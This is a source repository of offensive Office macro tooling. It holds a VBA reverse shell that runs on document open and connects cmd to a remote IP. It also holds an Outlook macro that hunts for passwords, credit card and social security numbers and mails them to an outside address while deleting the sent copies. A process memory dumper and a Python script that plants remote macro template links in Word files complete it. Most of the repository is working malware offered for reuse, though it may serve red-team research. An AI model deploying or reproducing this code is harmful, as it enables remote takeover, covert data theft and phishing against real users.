├── Dump-Process.vba ├── Parse-Outlook.vba ├── README.md ├── Reverse-Shell.vba └── remoteinjector.py /Dump-Process.vba: -------------------------------------------------------------------------------- 1 | 'Dumps user-level process using only Windows API calls, no Powershell, shellcode injection, or dropping exe's. 2 | 'Author: John Woodman 3 | 'Twitter: @JohnWoodman15 4 | 5 | Private Declare PtrSafe Function CreateFile Lib "Kernel32" _ 6 | Alias "CreateFileA" (ByVal lpFileName As String, _ 7 | ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, _ 8 | ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, _ 9 | ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As LongPtr 10 | 11 | Private Declare PtrSafe Function CloseHandle Lib "Kernel32" (ByVal hObject As LongPtr) As Long 12 | 13 | Const MAX_PATH = 260 14 | Public Enum MINIDUMP_TYPE 15 | MiniDumpNormal = 0 16 | MiniDumpWithDataSegs = 1 17 | MiniDumpWithFullMemory = 2 18 | MiniDumpWithHandleData = 4 19 | MiniDumpFilterMemory = 8 20 | MiniDumpScanMemory = 10 21 | MiniDumpWithUnloadedModules = 20 22 | MiniDumpWithIndirectlyReferencedMemory = 40 23 | MiniDumpFilterModulePaths = 80 24 | MiniDumpWithProcessThreadData = 100 25 | MiniDumpWithPrivateReadWriteMemory = 200 26 | MiniDumpWithoutOptionalData = 400 27 | MiniDumpWithFullMemoryInfo = 800 28 | MiniDumpWithThreadInfo = 1000 29 | MiniDumpWithCodeSegs = 2000 30 | End Enum 31 | 32 | Private Type PROCESSENTRY32 33 | dwSize As Long 34 | cntUsage As Long 35 | th32ProcessID As Long 36 | th32DefaultHeapID As Long 37 | th32DefaultHeapIDB As Long 38 | th32ModuleID As Long 39 | cntThreads As Long 40 | th32ParentProcessID As Long 41 | pcPriClassBase As Long 42 | pcPriClassBaseB As Long 43 | dwFlags As Long 44 | szExeFile As String * MAX_PATH 45 | End Type 46 | 47 | Private Declare PtrSafe Function MiniDumpWriteDump Lib "dbghelp" ( _ 48 | ByVal hProcess As LongPtr, _ 49 | ByVal ProcessId As Long, _ 50 | ByVal hFile As LongPtr, _ 51 | ByVal DumpType As MINIDUMP_TYPE, _ 52 | ByVal ExceptionParam As LongPtr, _ 53 | ByVal UserStreamParam As LongPtr, _ 54 | ByVal CallackParam As LongPtr) As Boolean 55 | 56 | Private Declare PtrSafe Function GetCurrProcess Lib "Kernel32" _ 57 | Alias "GetCurrentProcess" () As LongPtr 58 | 59 | Private Declare PtrSafe Function GetCurrProcessID Lib "Kernel32" _ 60 | Alias "GetCurrentProcessId" () As Long 61 | 62 | Private Declare PtrSafe Function Create32Snapshot Lib "Kernel32" _ 63 | Alias "CreateToolhelp32Snapshot" ( _ 64 | ByVal dwFlags As Long, _ 65 | ByVal th32ProcessID As Long) As Long 66 | 67 | Private Declare PtrSafe Function Process32First Lib "Kernel32" (ByVal hSnapShot As LongPtr, uProcess As PROCESSENTRY32) As Long 68 | Private Declare PtrSafe Function Process32Next Lib "Kernel32" (ByVal hSnapShot As LongPtr, uProcess As PROCESSENTRY32) As Long 69 | Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ 70 | ByVal dwAccess As Long, _ 71 | ByVal fInherit As Integer, _ 72 | ByVal hObject As Long _ 73 | ) As LongPtr 74 | Private Declare PtrSafe Function IsUserAnAdmin Lib "shell32" () As Long 75 | Private Declare PtrSafe Function GetLastError Lib "kernel32.dll" () As Long 76 | 77 | 78 | 79 | 80 | Private Sub Document_Open() 81 | 82 | Const GENERIC_WRITE = &H40000000 83 | Const GENERIC_READ = &H80000000 84 | Const FILE_ATTRIBUTE_NORMAL = &H80 85 | Const CREATE_ALWAYS = 2 86 | Const OPEN_ALWAYS = 4 87 | Const INVALID_HANDLE_VALUE = -1 88 | 89 | procPID = 0 90 | Dim procHandle As LongPtr 91 | Dim outFile As LongPtr 92 | Dim fileToDump As String 93 | 94 | 'Location of file to dump to 95 | fileToDump = "c:\Users\john\Desktop\process.dmp" 96 | outFile = CreateFile(fileToDump, GENERIC_WRITE Or GENERIC_READ, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0) 97 | 98 | If outFile = INVALID_HANDLE_VALUE Then 99 | MsgBox ("Error Opening File") 100 | CloseHandle (outFile) 101 | Else 102 | 'MsgBox ("Opened File!") 103 | End If 104 | 105 | Const TH32CS_SNAPPROCESS = &H2 106 | Dim snapshot As Long 107 | snapshot = Create32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&) 108 | 109 | Dim uProcess As PROCESSENTRY32 110 | uProcess.dwSize = Len(uProcess) 111 | 112 | Dim ProcessFound As Boolean 113 | ProcessFound = Process32First(snapshot, uProcess) 114 | 115 | Dim ProcID As Long 116 | 117 | Dim ProcName As String 118 | 'Process name to dump 119 | ProcName = "notepad.exe" 120 | Do 121 | If Left$(uProcess.szExeFile, Len(ProcName)) = LCase$(ProcName) Then 122 | ProcID = uProcess.th32ProcessID 123 | 'MsgBox ("Process Found: " & ProcID) 124 | ProcessFound = False 125 | Else 126 | ProcessFound = Process32Next(snapshot, uProcess) 127 | End If 128 | Loop While ProcessFound 129 | 130 | Dim hParent As LongPtr 131 | Const PROCESS_ALL_ACCESS = &H1F0FFF 132 | hParent = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcID) 133 | CloseHandle (snapshot) 134 | 135 | Dim dumped As Boolean 136 | dumped = MiniDumpWriteDump(hParent, _ 137 | ProcID, _ 138 | outFile, _ 139 | MINIDUMP_TYPE.MiniDumpWithFullMemory, _ 140 | 0, _ 141 | 0, _ 142 | 0) 143 | 144 | If dumped Then 145 | 'MsgBox ("True baby") 146 | Else 147 | MsgBox ("Nah Chief") 148 | MsgBox (Hex(Err.LastDllError)) 149 | End If 150 | 151 | CloseHandle (outFile) 152 | CloseHandle (proc) 153 | End Sub 154 | -------------------------------------------------------------------------------- /Parse-Outlook.vba: -------------------------------------------------------------------------------- 1 | 'This VBA parses Outlook, searches for sensitive keywords 2 | 'and file extensions, exfils the data via email, and then 3 | 'deletes the sent emails. 4 | 5 | 'Author: John Woodman 6 | 'Twitter: @JohnWoodman15 7 | 8 | 'Variable exfil_address is the email address that 9 | 'the parsed emails are sent to. 10 | Const exfil_address As String = "ChangeMe@gmail.com" 11 | 12 | 'The variable daysToSearch determines how many days 13 | 'worth of emails to look through. It's currently set 14 | 'to parse the last 30 days of emails. 15 | Const daysToSearch As Integer = 30 16 | 17 | Sub parse_outlook() 18 | 'This function loops through Outlook inbox and calls 19 | 'functions to parse inbox for keywords and extensions. 20 | 21 | 'These are the keywords and file extensions that 22 | 'are searched for in the emails and attachments. 23 | Dim keywords 24 | keywords = Array( _ 25 | "password", _ 26 | "passwd", _ 27 | "creds", _ 28 | "credential", _ 29 | "credit card", _ 30 | "creditcard", _ 31 | "social security number" _ 32 | ) 33 | 34 | Dim extensions 35 | extensions = Array( _ 36 | "pgp", _ 37 | "asc", _ 38 | "pem", _ 39 | "pub", _ 40 | "gpg", _ 41 | "gpg-key", _ 42 | "mp3", _ 43 | "mp4", _ 44 | "mov", _ 45 | "xlsx", _ 46 | "xlsm", _ 47 | "xlsb", _ 48 | "csv", _ 49 | "doc", _ 50 | "docx", _ 51 | "docm", _ 52 | "exe", _ 53 | "zip", _ 54 | "sql", _ 55 | "db", _ 56 | "bak", _ 57 | "pdf" _ 58 | ) 59 | 60 | Dim xOutApp As Object 61 | Dim xOutMail As Object 62 | Dim xMailBody As String 63 | Dim outlNameSpace As Object 64 | Dim myTasks As Object 65 | Set xOutApp = CreateObject("Outlook.Application") 66 | Set outlNameSpace = xOutApp.GetNamespace("MAPI") 67 | 68 | Set myTasks = outlNameSpace.GetDefaultFolder(6).Items 69 | Dim i As Integer 70 | 71 | Dim found As Boolean 72 | found = False 73 | Dim found2 As Boolean 74 | found2 = False 75 | 76 | Dim afterDate As Date 77 | Dim beforeDate As Date 78 | afterDate = Date - daysToSearch 79 | beforeDate = Date 80 | 81 | Dim OlMail As Object 82 | For Each OlMail In myTasks 83 | If OlMail.ReceivedTime >= afterDate And OlMail.ReceivedTime <= beforeDate Then 84 | found = parse_body(OlMail.body, OlMail.subject, keywords) 85 | If found Then 86 | Call send_mail(OlMail.body, OlMail.subject) 87 | End If 88 | 89 | If OlMail.Attachments.Count > 0 Then 90 | Dim j As Integer 91 | For j = 1 To OlMail.Attachments.Count 92 | found2 = parse_attachment(OlMail.Attachments.Item(j), extensions, keywords) 93 | If found2 Then 94 | Call send_attach(OlMail, OlMail.subject) 95 | End If 96 | Next 97 | End If 98 | 99 | End If 100 | Next 101 | 102 | Set xOutMail = Nothing 103 | Set xOutApp = Nothing 104 | End Sub 105 | 106 | Sub send_mail(body As String, subject As String) 107 | 'This function sends the body of the email containing 108 | 'the keyword to the specified email address. 109 | 110 | Dim xOutApp As Object 111 | Dim xOutMail As Object 112 | Dim xMailBody As String 113 | 114 | Set xOutApp = CreateObject("Outlook.Application") 115 | Set xOutMail = xOutApp.CreateItem(0) 116 | xMailBody = body 117 | 118 | On Error Resume Next 119 | With xOutMail 120 | .To = exfil_address 121 | .CC = "" 122 | .BCC = "" 123 | .subject = "Outlook Exfiltration Data from User: " & Environ("username") 124 | .body = subject & xMailBody 125 | .DeleteAfterSubmit = True 126 | .Send 127 | End With 128 | On Error GoTo 0 129 | 130 | Set xOutMail = Nothing 131 | Set xOutApp = Nothing 132 | End Sub 133 | 134 | Sub send_attach(OlMail As Variant, subject As String) 135 | 'This function forwards the email containing 136 | 'the attachment to the specified email address. 137 | 138 | Dim xOutMail As Object 139 | Set xOutMail = OlMail.Forward 140 | 141 | On Error Resume Next 142 | With xOutMail 143 | .To = exfil_address 144 | .CC = "" 145 | .BCC = "" 146 | .subject = "Outlook Exfiltration Attachment from User: " & Environ("username") 147 | .DeleteAfterSubmit = True 148 | .Send 149 | End With 150 | On Error GoTo 0 151 | 152 | Set xOutMail = Nothing 153 | End Sub 154 | 155 | 156 | Public Function parse_body(body As String, subject As String, keywords As Variant) As Boolean 157 | 'This function parses the body and subject 158 | 'of the email, searching for the provided keywords. 159 | 160 | parse_body = False 161 | 162 | Dim k As Variant 163 | For Each k In keywords 164 | If (InStr(1, UCase(body), k, vbTextCompare) > 0) Or (InStr(1, UCase(subject), k, vbTextCompare) > 0) Then 165 | parse_body = True 166 | Exit For 167 | Else 168 | parse_body = False 169 | End If 170 | Next 171 | End Function 172 | 173 | 174 | Public Function parse_attachment(attachment As Variant, extensions As Variant, keywords As Variant) As Boolean 175 | 'This function parses the attachments of the 176 | 'email and searches for the provided keywords 177 | 'and extensions. 178 | 179 | parse_attachment = False 180 | 181 | Dim found_ext As Boolean 182 | found_ext = False 183 | 184 | Dim found_keyword As Boolean 185 | found_keyword = False 186 | 187 | Dim attachName As String 188 | Dim extension As String 189 | attachName = attachment.FileName 190 | extension = Split(attachName, ".")(1) 191 | 192 | Dim ext As Variant 193 | For Each ext In extensions 194 | If (InStr(1, UCase(extension), ext, vbTextCompare) > 0) Then 195 | found_ext = True 196 | Else 197 | found_ext = False 198 | End If 199 | Next 200 | 201 | Dim k As Variant 202 | For Each k In keywords 203 | If (InStr(1, UCase(attachName), k, vbTextCompare) > 0) Then 204 | found_keyword = True 205 | Else 206 | found_keyword = False 207 | End If 208 | Next 209 | 210 | If found_ext Or found_keyword Then 211 | parse_attachment = True 212 | Else 213 | parse_attachment = False 214 | End If 215 | End Function 216 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # VBA-Macro-Projects 2 | This repository is a collection of my malicious VBA projects and their related blog posts. Feel free to give me a follow on Twitter if you find this useful [@JohnWoodman15](https://twitter.com/JohnWoodman15) 3 | 4 | | VBA Macro | Description | Links | 5 | |-|-|-| 6 | | Reverse-Shell.vba | Reverse shell written entirely in VBA using Windows API calls | [Blog Post](https://john-woodman.com/research/malicious-vba-macros-trials-tribulations/) / [Github Repo](https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell) | 7 | | Parse-Outlook.vba | Parses Outlook for sensitive keywords and file extensions, and exfils them via email (inspired by [Adepts of 0xCC](https://twitter.com/AdeptsOf0xCC)) | [Blog Post](https://adepts.of0x.cc/vba-outlook/) | 8 | | Dump-Process.vba | Dumps any user-level process using Windows API calls | [Blog Post](https://john-woodman.com/research/malicious-vba-macros-trials-tribulations/) / [Github Repo](https://github.com/JohnWoodman/VBA-Macro-Dump-Process) | 9 | | remoteInjector.py | Injects link to remote VBA template into Word doc ([Link to README & usage](https://github.com/JohnWoodman/remoteInjector)) | [Blog Post](https://john-woodman.com/research/vba-macro-remote-template-injection/) / [Github Repo](https://github.com/JohnWoodman/remoteInjector) | 10 | -------------------------------------------------------------------------------- /Reverse-Shell.vba: -------------------------------------------------------------------------------- 1 | 'Reverse shell using only Windows API calls, no Powershell, shellcode injection, or dropping exe's. 2 | 'Author: John Woodman 3 | 'Twitter: @JohnWoodman15 4 | 5 | 'Replace with your IP and Port 6 | Const ip = "192.168.43.1" 7 | Const port = "1337" 8 | 9 | Const INVALID_SOCKET = -1 10 | Const WSADESCRIPTION_LEN = 256 11 | Const SOCKET_ERROR = -1 12 | 13 | Private Type WSADATA 14 | wVersion As Integer 15 | wHighVersion As Integer 16 | szDescription(0 To WSADESCRIPTION_LEN) As Byte 17 | szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte 18 | iMaxSockets As Integer 19 | iMaxUdpDg As Integer 20 | lpVendorInfo As Long 21 | End Type 22 | 23 | Private Type ADDRINFO 24 | ai_flags As Long 25 | ai_family As Long 26 | ai_socktype As Long 27 | ai_protocol As Long 28 | ai_addrlen As Long 29 | ai_canonName As LongPtr 30 | ai_addr As LongPtr 31 | ai_next As LongPtr 32 | End Type 33 | 34 | Private Type STARTUPINFOA 35 | cb As Long 36 | lpReserved As String 37 | lpDesktop As String 38 | lpTitle As String 39 | dwX As Long 40 | dwY As Long 41 | dwXSize As Long 42 | dwYSize As Long 43 | dwXCountChars As Long 44 | dwYCountChars As Long 45 | dwFillAttribute As Long 46 | dwFlags As Long 47 | wShowWindow As Integer 48 | cbReserved2 As Integer 49 | lpReserved2 As String 50 | hStdInput As LongPtr 51 | hStdOutput As LongPtr 52 | hStdError As LongPtr 53 | End Type 54 | 55 | Private Type PROCESS_INFORMATION 56 | hProcess As LongPtr 57 | hThread As LongPtr 58 | dwProcessId As Long 59 | dwThreadId As Long 60 | End Type 61 | 62 | Enum af 63 | AF_UNSPEC = 0 64 | AF_INET = 2 65 | AF_IPX = 6 66 | AF_APPLETALK = 16 67 | AF_NETBIOS = 17 68 | AF_INET6 = 23 69 | AF_IRDA = 26 70 | AF_BTH = 32 71 | End Enum 72 | 73 | Enum sock_type 74 | SOCK_STREAM = 1 75 | SOCK_DGRAM = 2 76 | SOCK_RAW = 3 77 | SOCK_RDM = 4 78 | SOCK_SEQPACKET = 5 79 | End Enum 80 | 81 | Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long 82 | Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long 83 | Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" () 84 | Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long 85 | Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long 86 | Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) 87 | Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long 88 | Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr 89 | Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long) 90 | Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long 91 | 92 | Function revShell() 93 | Dim m_wsaData As WSADATA 94 | Dim m_RetVal As Integer 95 | Dim m_Hints As ADDRINFO 96 | Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET 97 | Dim pAddrInfo As LongPtr 98 | Dim RetVal As Long 99 | Dim lastError As Long 100 | Dim iRC As Long 101 | Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512 102 | 103 | RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData) 104 | If (RetVal <> 0) Then 105 | MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError() 106 | Call WSACleanup 107 | Exit Function 108 | End If 109 | 110 | m_Hints.ai_family = af.AF_UNSPEC 111 | m_Hints.ai_socktype = sock_type.SOCK_STREAM 112 | 113 | RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo) 114 | If (RetVal <> 0) Then 115 | MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError() 116 | Call WSACleanup 117 | Exit Function 118 | End If 119 | 120 | m_Hints.ai_next = pAddrInfo 121 | Dim connected As Boolean: connected = False 122 | Do While m_Hints.ai_next > 0 123 | CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints) 124 | 125 | m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0) 126 | 127 | If (m_ConnSocket = INVALID_SOCKET) Then 128 | revShell = False 129 | Else 130 | Dim connectionResult As Long 131 | 132 | connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen) 133 | 134 | If connectionResult <> SOCKET_ERROR Then 135 | connected = True 136 | Exit Do 137 | End If 138 | 139 | closesocket (m_ConnSocket) 140 | revShell = False 141 | End If 142 | Loop 143 | 144 | If Not connected Then 145 | revShell = False 146 | RetVal = closesocket(m_ConnSocket) 147 | Call WSACleanup 148 | Exit Function 149 | End If 150 | 151 | Dim si As STARTUPINFOA 152 | ZeroMemory si, Len(si) 153 | si.cb = Len(si) 154 | si.dwFlags = &H100 155 | si.hStdInput = m_ConnSocket 156 | si.hStdOutput = m_ConnSocket 157 | si.hStdError = m_ConnSocket 158 | Dim pi As PROCESS_INFORMATION 159 | Dim worked As LongPtr 160 | Dim test As Long 161 | worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi) 162 | revShell = worked 163 | End Function 164 | 165 | Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer 166 | MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127) 167 | End Function 168 | 169 | Private Sub Document_Open() 170 | Dim success As Boolean 171 | success = revShell() 172 | End Sub 173 | -------------------------------------------------------------------------------- /remoteinjector.py: -------------------------------------------------------------------------------- 1 | import os 2 | import zipfile 3 | import re 4 | from xml.dom.minidom import parseString 5 | import sys 6 | import argparse 7 | from argparse import RawTextHelpFormatter 8 | 9 | parser = argparse.ArgumentParser(description='Inject Template Through Relationship Settings', formatter_class=RawTextHelpFormatter, 10 | epilog='Example of use\n' 11 | 'To inject remote http url:\n\n' 12 | '\tremoteinjector.py -w https://example.com/template.dotm example.docx\n\n' 13 | 'To inject SMB path:\n\n' 14 | '\tremoteinjector.py -w \\\\1.1.1.1\C$\TEMP\\template.dotm example.docx') 15 | parser.add_argument('file', metavar='F', type=str, help='.docx file to inject template into') 16 | parser.add_argument('-w', dest='url', type=str, help='remote url to template') 17 | 18 | args = parser.parse_args() 19 | 20 | index = args.file.find('.docx') 21 | f_in = args.file 22 | base = f_in[0:index] 23 | f_out = base+'_new.docx' 24 | doc_in = zipfile.ZipFile(args.file) 25 | doc_out = zipfile.ZipFile(f_out, 'w') 26 | 27 | exists = False 28 | for f in doc_in.namelist(): 29 | if f == 'word/_rels/settings.xml.rels': 30 | exists = True 31 | if (not exists): 32 | print("Error: Use a docx with a preloaded template") 33 | exit() 34 | 35 | xml = parseString(doc_in.read('word/_rels/settings.xml.rels')) 36 | xml.getElementsByTagName('Relationship')[0].setAttribute('Target', args.url) 37 | 38 | for i in doc_in.infolist(): 39 | buf = doc_in.read(i.filename) 40 | if (i.filename == 'word/_rels/settings.xml.rels'): 41 | doc_out.writestr(i, xml.toprettyxml(indent='')) 42 | else: 43 | doc_out.writestr(i, buf) 44 | doc_out.close() 45 | doc_in.close() 46 | 47 | print("\nURL Injected and saved to " + f_out) --------------------------------------------------------------------------------